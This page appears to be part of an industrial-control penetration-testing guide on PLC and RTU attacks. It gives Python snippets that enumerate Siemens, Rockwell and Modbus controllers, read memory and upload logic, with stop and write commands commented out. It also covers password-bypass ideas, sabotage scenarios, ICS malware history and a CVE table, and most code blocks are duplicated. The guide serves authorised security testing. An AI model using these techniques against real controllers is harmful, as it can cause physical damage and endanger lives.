PLC/RTU Attacks
Programmable Logic Controllers (PLCs) and Remote Terminal Units (RTUs) are the workhorses of industrial automation. Compromising these devices can lead to direct physical impact.
Physical Safety Risk
Common PLC Vulnerabilities
Authentication Issues
- • No authentication on protocols
- • Default/weak passwords
- • Hardcoded credentials
- • Password bypass vulnerabilities
Logic Vulnerabilities
- • Unauthenticated program upload
- • Logic download without verification
- • Runtime value manipulation
- • Stop/start control
Siemens S7 Attacks
S7 Enumeration
# Nmap S7 info script
nmap -p 102 --script s7-info 192.168.1.100
# Using snap7 library
pip install python-snap7
python3 << 'EOF'
import snap7
client = snap7.client.Client()
client.connect('192.168.1.100', 0, 1) # IP, rack, slot
# Get PLC info
info = client.get_cpu_info()
print(f"Module Type: {info.ModuleTypeName}")
print(f"Serial: {info.SerialNumber}")
print(f"Module Name: {info.ModuleName}")
# Get CPU state
state = client.get_cpu_state()
print(f"CPU State: {state}") # Run, Stop, etc.
client.disconnect()
EOF# Nmap S7 info script
nmap -p 102 --script s7-info 192.168.1.100
# Using snap7 library
pip install python-snap7
python3 << 'EOF'
import snap7
client = snap7.client.Client()
client.connect('192.168.1.100', 0, 1) # IP, rack, slot
# Get PLC info
info = client.get_cpu_info()
print(f"Module Type: {info.ModuleTypeName}")
print(f"Serial: {info.SerialNumber}")
print(f"Module Name: {info.ModuleName}")
# Get CPU state
state = client.get_cpu_state()
print(f"CPU State: {state}") # Run, Stop, etc.
client.disconnect()
EOFS7 Authentication Bypass
# S7 PLCs can have password protection
# Multiple levels: Read, Write, Read/Write
# Check if password is set
# Try connecting and performing operations
# Password bypass techniques:
# 1. S7-300/400 with older firmware have known bypasses
# 2. Some PLCs accept empty password
# 3. Password stored in project file (extract and crack)
# Using s7-brute-offline
# Extract password hash from captured traffic or project file
# Crack offline
# Replay attack
# Capture legitimate authentication
# Replay to gain access# S7 PLCs can have password protection
# Multiple levels: Read, Write, Read/Write
# Check if password is set
# Try connecting and performing operations
# Password bypass techniques:
# 1. S7-300/400 with older firmware have known bypasses
# 2. Some PLCs accept empty password
# 3. Password stored in project file (extract and crack)
# Using s7-brute-offline
# Extract password hash from captured traffic or project file
# Crack offline
# Replay attack
# Capture legitimate authentication
# Replay to gain accessS7 Control Commands
# WARNING: These commands affect PLC operation
# Only use in lab environments
python3 << 'EOF'
import snap7
client = snap7.client.Client()
client.connect('192.168.1.100', 0, 1)
# Stop the PLC (DANGEROUS)
# client.plc_stop()
# Start the PLC
# client.plc_cold_start()
# client.plc_hot_start()
# Read memory areas
# DB (Data Block)
db_data = client.db_read(1, 0, 100) # DB1, offset 0, 100 bytes
# Read inputs
inputs = client.read_area(snap7.types.Areas.PE, 0, 0, 10)
# Read outputs
outputs = client.read_area(snap7.types.Areas.PA, 0, 0, 10)
# Read markers (memory)
markers = client.read_area(snap7.types.Areas.MK, 0, 0, 10)
client.disconnect()
EOF# WARNING: These commands affect PLC operation
# Only use in lab environments
python3 << 'EOF'
import snap7
client = snap7.client.Client()
client.connect('192.168.1.100', 0, 1)
# Stop the PLC (DANGEROUS)
# client.plc_stop()
# Start the PLC
# client.plc_cold_start()
# client.plc_hot_start()
# Read memory areas
# DB (Data Block)
db_data = client.db_read(1, 0, 100) # DB1, offset 0, 100 bytes
# Read inputs
inputs = client.read_area(snap7.types.Areas.PE, 0, 0, 10)
# Read outputs
outputs = client.read_area(snap7.types.Areas.PA, 0, 0, 10)
# Read markers (memory)
markers = client.read_area(snap7.types.Areas.MK, 0, 0, 10)
client.disconnect()
EOFAllen-Bradley / Rockwell Attacks
EtherNet/IP Exploitation
# Using pycomm3
pip install pycomm3
python3 << 'EOF'
from pycomm3 import LogixDriver
# Connect to ControlLogix/CompactLogix
with LogixDriver('192.168.1.100') as plc:
# Get PLC info
info = plc.get_plc_info()
print(f"Name: {info['name']}")
print(f"Vendor: {info['vendor']}")
print(f"Product Type: {info['product_type']}")
print(f"Revision: {info['revision']}")
# Get all tags
tags = plc.get_tag_list()
for tag in tags:
print(f"{tag['tag_name']}: {tag['data_type']}")
# Read a tag
result = plc.read('SomeTag')
print(f"Value: {result.value}")
# Write a tag (DANGEROUS)
# plc.write('SomeTag', 100)
EOF# Using pycomm3
pip install pycomm3
python3 << 'EOF'
from pycomm3 import LogixDriver
# Connect to ControlLogix/CompactLogix
with LogixDriver('192.168.1.100') as plc:
# Get PLC info
info = plc.get_plc_info()
print(f"Name: {info['name']}")
print(f"Vendor: {info['vendor']}")
print(f"Product Type: {info['product_type']}")
print(f"Revision: {info['revision']}")
# Get all tags
tags = plc.get_tag_list()
for tag in tags:
print(f"{tag['tag_name']}: {tag['data_type']}")
# Read a tag
result = plc.read('SomeTag')
print(f"Value: {result.value}")
# Write a tag (DANGEROUS)
# plc.write('SomeTag', 100)
EOFModbus PLC Attacks
# Modbus has NO authentication
# Any device on the network can read/write
python3 << 'EOF'
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient('192.168.1.100', port=502)
client.connect()
# Read holding registers
result = client.read_holding_registers(0, 10, slave=1)
print(f"Registers: {result.registers}")
# Read coils (digital outputs)
coils = client.read_coils(0, 10, slave=1)
print(f"Coils: {coils.bits}")
# DANGEROUS: Write operations
# Write single coil (turn output on/off)
# client.write_coil(0, True, slave=1)
# Write single register
# client.write_register(0, 1234, slave=1)
# Write multiple coils
# client.write_coils(0, [True, False, True], slave=1)
# Write multiple registers
# client.write_registers(0, [100, 200, 300], slave=1)
client.close()
EOF# Modbus has NO authentication
# Any device on the network can read/write
python3 << 'EOF'
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient('192.168.1.100', port=502)
client.connect()
# Read holding registers
result = client.read_holding_registers(0, 10, slave=1)
print(f"Registers: {result.registers}")
# Read coils (digital outputs)
coils = client.read_coils(0, 10, slave=1)
print(f"Coils: {coils.bits}")
# DANGEROUS: Write operations
# Write single coil (turn output on/off)
# client.write_coil(0, True, slave=1)
# Write single register
# client.write_register(0, 1234, slave=1)
# Write multiple coils
# client.write_coils(0, [True, False, True], slave=1)
# Write multiple registers
# client.write_registers(0, [100, 200, 300], slave=1)
client.close()
EOFLogic Manipulation
The most impactful attacks involve modifying the PLC logic itself. This can cause subtle malfunctions that are difficult to detect.
Attack Scenarios
Stuxnet-style Attack
Modify logic to cause physical damage while showing normal values to operators. The HMI displays everything is normal while equipment is being destroyed.
Safety System Bypass
Disable safety interlocks that prevent dangerous conditions. Example: Allow tank overfill, disable temperature limits.
Production Sabotage
Make subtle changes to process values causing quality defects. Example: Slightly modify recipe parameters in food/pharma manufacturing.
Ransomware
Lock out operators from PLCs. Encrypt or wipe PLC logic. Demand ransom for restore or decryption key.
Logic Upload/Download
# Download logic from PLC (backup/analysis)
# This extracts the currently running program
# Siemens - using snap7
python3 << 'EOF'
import snap7
client = snap7.client.Client()
client.connect('192.168.1.100', 0, 1)
# Download entire project (if supported)
# Requires proper access level
# Download specific block
block_data = client.full_upload(snap7.types.block_types.OB, 1)
with open('OB1.bin', 'wb') as f:
f.write(block_data)
client.disconnect()
EOF
# Allen-Bradley - using RSLogix or pycomm3
# Logic stored in controller, can be uploaded via software
# Schneider - using Unity Pro or network tools
# Modicon PLCs allow logic upload via proprietary protocol
# Analyze downloaded logic
# - Look for safety interlocks
# - Identify critical control logic
# - Find hardcoded values# Download logic from PLC (backup/analysis)
# This extracts the currently running program
# Siemens - using snap7
python3 << 'EOF'
import snap7
client = snap7.client.Client()
client.connect('192.168.1.100', 0, 1)
# Download entire project (if supported)
# Requires proper access level
# Download specific block
block_data = client.full_upload(snap7.types.block_types.OB, 1)
with open('OB1.bin', 'wb') as f:
f.write(block_data)
client.disconnect()
EOF
# Allen-Bradley - using RSLogix or pycomm3
# Logic stored in controller, can be uploaded via software
# Schneider - using Unity Pro or network tools
# Modicon PLCs allow logic upload via proprietary protocol
# Analyze downloaded logic
# - Look for safety interlocks
# - Identify critical control logic
# - Find hardcoded valuesFirmware Attacks
# PLC firmware can be vulnerable to:
# - Buffer overflows
# - Authentication bypass
# - Backdoors
# - Malicious firmware upload
# Firmware extraction methods:
# 1. Download from vendor website
# 2. JTAG/debug interface access
# 3. Network firmware update capture
# Firmware analysis
# Use binwalk, Ghidra for analysis
binwalk plc_firmware.bin
binwalk -e plc_firmware.bin
# Look for:
# - Hardcoded credentials
# - Debug interfaces
# - Vulnerable services
# - Known CVEs
# Search for PLC CVEs
# https://www.cisa.gov/uscert/ics/advisories
# https://nvd.nist.gov - search "PLC" or vendor name# PLC firmware can be vulnerable to:
# - Buffer overflows
# - Authentication bypass
# - Backdoors
# - Malicious firmware upload
# Firmware extraction methods:
# 1. Download from vendor website
# 2. JTAG/debug interface access
# 3. Network firmware update capture
# Firmware analysis
# Use binwalk, Ghidra for analysis
binwalk plc_firmware.bin
binwalk -e plc_firmware.bin
# Look for:
# - Hardcoded credentials
# - Debug interfaces
# - Vulnerable services
# - Known CVEs
# Search for PLC CVEs
# https://www.cisa.gov/uscert/ics/advisories
# https://nvd.nist.gov - search "PLC" or vendor nameNotable ICS Malware & Threat Landscape
Understanding real-world ICS malware informs both offensive testing scenarios and the detections a defender expects to build. These are the campaigns every OT assessor should be able to reference.
Targeted Siemens S7-300 controllers driving uranium centrifuges. Modified PLC logic to damage equipment while replaying normal values to the HMI — the archetypal "false view to the operator" attack.
Industroyer / CRASHOVERRIDE (2016) & Industroyer2 (2022)
T0855 | Unauthorized Command Message T0814 | Denial of ServiceGrid malware used against Ukraine. Modular payloads spoke IEC-101, IEC-104, IEC 61850 (MMS) and OPC DA to open breakers directly. Industroyer2 (2022) was a hardcoded IEC-104 variant retargeted at a specific substation.
The first malware to target a Safety Instrumented System — Schneider Triconex SIS controllers — via the proprietary TriStation protocol. A failed reprogram tripped the plant to a safe state, revealing the attack. See the Safety Considerations section for why SIS is off-limits.
A modular, cross-vendor ICS attack framework (CISA AA22-103A) — the current state of the art. Components target Schneider and Omron PLCs plus any CODESYS and OPC UA device, making it vendor-agnostic rather than tied to one product. Discovered before deployment.
OT:ICEFALL (2022)
Common PLC CVEs
| CVE | Vendor | Vulnerability | Impact |
|---|---|---|---|
| CVE-2019-13945 | Siemens S7 | Denial of Service | Crash PLC |
| CVE-2020-15782 | Siemens S7-1200 | Memory Protection Bypass | Code execution |
| CVE-2012-6435 | Rockwell MicroLogix | Hardcoded credentials | Auth bypass |
| CVE-2015-1015 | Schneider Modicon | Hardcoded FTP password | Full access |
| CVE-2021-22779 | Schneider Modicon (Modbus/UMAS) | Auth bypass (UMAS) | Unauthenticated logic write |
| CVE-2022-1161 | Rockwell Logix (ControlLogix) | Boot code / firmware injection | Hidden logic (PIPEDREAM-class) |
| CVE-2022-45788 | Schneider Modicon (OT:ICEFALL) | Unauth code execution | Remote control |
| CVE-2023-3595 | Rockwell 1756-EN* comms modules | Out-of-bounds write (CIP) | RCE / firmware manipulation |
PLC Testing Checklist
Enumeration
- ☐ Identify PLC vendor and model
- ☐ Determine firmware version
- ☐ Check for known CVEs
- ☐ Enumerate available protocols
Authentication
- ☐ Test for default credentials
- ☐ Check if authentication is enabled
- ☐ Test for authentication bypass
- ☐ Check password strength
Access Control
- ☐ Test read access to memory/registers
- ☐ Test write access restrictions
- ☐ Check logic upload/download controls
- ☐ Test stop/start controls
Documentation